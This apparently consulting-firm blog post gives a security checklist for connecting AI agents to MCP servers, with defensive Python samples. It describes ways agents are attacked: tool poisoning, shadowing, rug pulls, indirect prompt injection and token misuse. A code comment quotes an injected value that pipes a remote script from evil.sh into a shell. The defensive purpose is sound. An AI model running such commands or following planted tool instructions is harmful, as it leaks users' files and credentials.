Skip to content
MCP & Agentic AI

MCP Security Checklist for Enterprises: 36 Controls Before You Connect AI Agents to Production

The Model Context Protocol makes it easy to connect AI agents to real systems, and just as easy to connect them unsafely. This checklist covers the attacks that are actually happening and the controls that stop them, from the supply chain to monitoring.

MCP adoption has moved faster than MCP security. Security researchers have repeatedly found MCP servers exposed to the internet without authentication, and audits by several security firms in 2026 found command injection to be one of the most common serious flaws in published servers. Meanwhile, attacks that target the AI layer itself, such as hidden instructions in tool descriptions, have moved from research papers into security frameworks.

None of this means MCP is unsafe to use. It means MCP servers deserve the same rigour as any other production integration, plus a few controls that are specific to AI agents. This checklist is organised so you can work through it with your security team.

The threats to plan for

MCP attack surface Attacks can target the MCP supply chain, the agent through tool descriptions and outputs, authorisation through token misuse, and downstream systems through unsafe tool code. AI agent client / host MCP server yours or third-party Systems & APIs data, cloud, SaaS Tool poisoning · rug pulls hidden instructions in descriptions Token passthrough · confused deputy misused or misdirected credentials Command injection · SSRF unsafe tool code Indirect prompt injection instructions inside tool output Exposed, unauthenticated servers reachable from the internet Data over-exposure broad scopes, raw records returned
Where MCP deployments get attacked: the agent, the server, the credentials and the systems behind them.
  • Tool poisoning. A malicious server hides instructions in a tool's description. The user never sees them, but the model reads them and may follow them, for example to read and leak local files.
  • Rug pulls. A server changes a tool's description after you approved it.
  • Tool shadowing. A malicious server's descriptions change how the agent uses a different, trusted server, for example redirecting emails sent through a legitimate email tool.
  • Indirect prompt injection. Data returned by a tool, such as an email, ticket or web page, contains instructions aimed at the agent.
  • Token passthrough. A server accepts tokens that were not issued for it and forwards them downstream. The MCP specification explicitly forbids this: it breaks the OAuth security boundary and blurs audit trails.
  • Confused deputy. A proxy-style MCP server tricked into using its own privileges on an attacker's behalf, particularly around OAuth consent with third-party services.
  • Classic server flaws. Command injection, path traversal and server-side request forgery (SSRF) in tool code, plus servers exposed without authentication.

These attack classes were first demonstrated publicly by Invariant Labs in 2025 and are now catalogued in the OWASP MCP Top 10 project (currently in beta).

The checklist

1. Inventory and supply chain

  • Keep a registry of approved MCP servers: owner, purpose, data accessed and version.
  • Prefer official servers from the system's vendor, or servers you build. Treat community servers like any third-party code.
  • Pin server versions (and image digests for containers). Don't auto-update in production.
  • Review every tool's name, description and input schema before approval. Look for instructions aimed at the model.
  • Re-review on every update, and alert when a tool's description changes (rug pulls).
  • Block unapproved servers in managed AI clients where your tooling allows it.

2. Identity, authorisation and tokens

  • Require authentication on every remote server. For HTTP transports, follow the MCP authorization specification: OAuth 2.1 with PKCE, using your identity provider.
  • Validate that every token was issued for this server (audience and issuer), and reject everything else.
  • Never pass a client's token through to downstream APIs. Obtain separate, scoped credentials for downstream calls.
  • Act with the requesting user's identity where possible, so existing permissions apply.
  • Use short-lived tokens and least-privilege scopes, and never put tokens in URLs.
  • For proxy servers, implement per-client consent to prevent confused-deputy attacks, and use single-use, short-lived OAuth state values.
  • For local (stdio) servers, load credentials from a secret manager or environment, never from config files committed to a repository.

For example, validating audience and issuer with PyJWT in Python:

import jwt

jwks = jwt.PyJWKClient("https://login.example.com/.well-known/jwks.json")

def verify(token: str) -> dict:
    signing_key = jwks.get_signing_key_from_jwt(token)
    return jwt.decode(
        token,
        signing_key.key,
        algorithms=["RS256"],
        audience="https://mcp.example.com",       # this server, nothing else
        issuer="https://login.example.com/",
    )   # raises an exception if the signature, audience, issuer or expiry is wrong

3. Tool design and input handling

  • Design narrow tools with typed inputs, not generic run_sql or shell tools.
  • Validate every input against its schema and business rules on the server. Never rely on the model to send safe values.
  • Never build shell commands from input strings. Call programs with argument lists, without a shell.
  • Use parameterised queries, allow-listed file paths and allow-listed URLs to prevent SQL injection, path traversal and SSRF.
  • Limit output size and return only the fields the task needs.
  • Separate read and write tools into different servers or permission scopes.
import subprocess
from urllib.parse import urlparse

ALLOWED_HOSTS = {"github.com", "gitlab.example.com"}

def clone_repo(repo_url: str, dest: str) -> None:
    # Unsafe: subprocess.run(f"git clone {repo_url} {dest}", shell=True)
    #   A URL like "x; curl evil.sh | sh" would run attacker commands.
    host = urlparse(repo_url).hostname
    if urlparse(repo_url).scheme != "https" or host not in ALLOWED_HOSTS:
        raise ValueError("repository host not allowed")
    subprocess.run(["git", "clone", "--depth", "1", "--", repo_url, dest],
                   check=True, timeout=120)   # argument list, no shell

4. Data protection

  • Classify each server by the sensitivity of the data it can reach, and require stronger controls (approval, isolation) for higher classes.
  • Strip or mask personal data and secrets before results reach the model.
  • Don't persist request or response payloads in the MCP layer unless there is a documented reason.
  • Confirm your model provider's data retention and training settings for the data you send.
Building MCP integrations for production?

Our engineers build governed MCP servers inside your environment, with these controls in place from day one: OAuth with your identity provider, narrow tools, approval gates and audit logs. Client data is never used to train AI models.

AI Integration & MCP services

5. Agent-side controls

  • Require explicit human approval for tools that change data, send messages, move money or run code.
  • Show users the tool calls and parameters an agent proposes, not just the final answer.
  • Treat all tool output as untrusted input, never as instructions.
  • Limit which servers can be active together in one session, especially mixing untrusted servers with sensitive ones (shadowing).
  • Cap agent steps and token budgets per request.

6. Network and runtime

  • Never expose MCP servers to the internet without authentication. Bind local servers to localhost.
  • Run servers in containers or sandboxes with minimal operating-system privileges and read-only file systems where possible.
  • Restrict outbound network access to the systems each server needs.
  • Apply rate limits per user and per tool.

7. Monitoring and response

  • Log every tool call: who, which tool, parameters (redacted where needed), outcome and approver.
  • Alert on unusual patterns: new tools, description changes, spikes in calls, or access outside normal hours.
  • Have a kill switch to disable a server or tool quickly, and an incident runbook that covers AI-specific scenarios.
  • Test regularly against the OWASP MCP Top 10 and OWASP's LLM risks, including prompt-injection tests with realistic data.

One-page summary

AreaMinimum bar for production
Supply chainApproved registry, pinned versions, reviewed tool descriptions, change alerts
AuthorisationOAuth 2.1 + PKCE, audience validation, no token passthrough, user identity
Tool designNarrow typed tools, server-side validation, no shells, allow-lists
DataClassified servers, minimised and masked results, no payload storage
AgentApproval for writes, untrusted outputs, limited server mixing, step caps
RuntimeAuthenticated, sandboxed, egress-restricted, rate-limited
MonitoringFull audit logs, anomaly alerts, kill switch, regular testing

If you are just starting, begin with one read-only server you build yourself, put authentication and logging in place first, and add write tools behind approval gates only once the basics are proven. Our step-by-step guide to building a governed MCP server shows how.

Want a second pair of eyes on your MCP setup?

In a 2-week Discovery Sprint, our forward deployed engineers can review your current MCP servers against this checklist and deliver one hardened, production-ready integration.

Book a scoping call   How we work

Sources and further reading

Lalit Kumar

Director, Founder & CTO of NeoAavya Consulting Services. A solution architect with 16 years of industry experience, Lalit leads NeoAavya’s technology, including the engineering behind Aavya Optima.

More about Lalit and his articles   Connect on LinkedIn

Read next